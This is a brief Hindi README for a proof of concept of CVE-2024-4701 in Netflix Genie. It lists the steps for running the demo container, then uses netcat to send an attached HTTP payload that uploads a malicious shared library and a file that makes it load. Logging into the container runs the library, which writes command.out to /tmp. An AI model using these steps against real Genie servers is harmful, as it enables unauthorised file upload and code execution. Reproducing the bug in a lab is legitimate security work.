
CVE-2024-4701 के लिए POC
CVE-2024-4701 के लिए POC
genie डॉकर फ़ाइल को https://netflix.github.io/genie/docs/4.3.0/demo/docker-compose.yml या इस रेपो से डाउनलोड करें
चलाएँ
docker-compose up
संलग्न http पेलोड loadlib डाउनलोड करें
निम्न कमांड चलाएँ
nc -w 5 localhost 8080 < loadlib
आपको netcat ( nc ) इंस्टॉल करने की आवश्यकता हो सकती है
यह पेलोड को डॉकर में चल रहे genie ऐप पर भेजेगा, जो pe.so और ld.so.upload फ़ाइलों को अपलोड करता है।
फिर genie-app डॉकर कंटेनर में लॉगिन करें
docker exec -it genie_demo_app_4.3.0 /bin/bash
लॉगिन करने की क्रिया दुर्भावनापूर्ण लाइब्रेरी के निष्पादन को ट्रिगर करती है, इसलिए तुरंत बाद चलाएँ
ls /tmp/
डिस्क पर लिखी गई command.out फ़ाइल को देखने के लिए।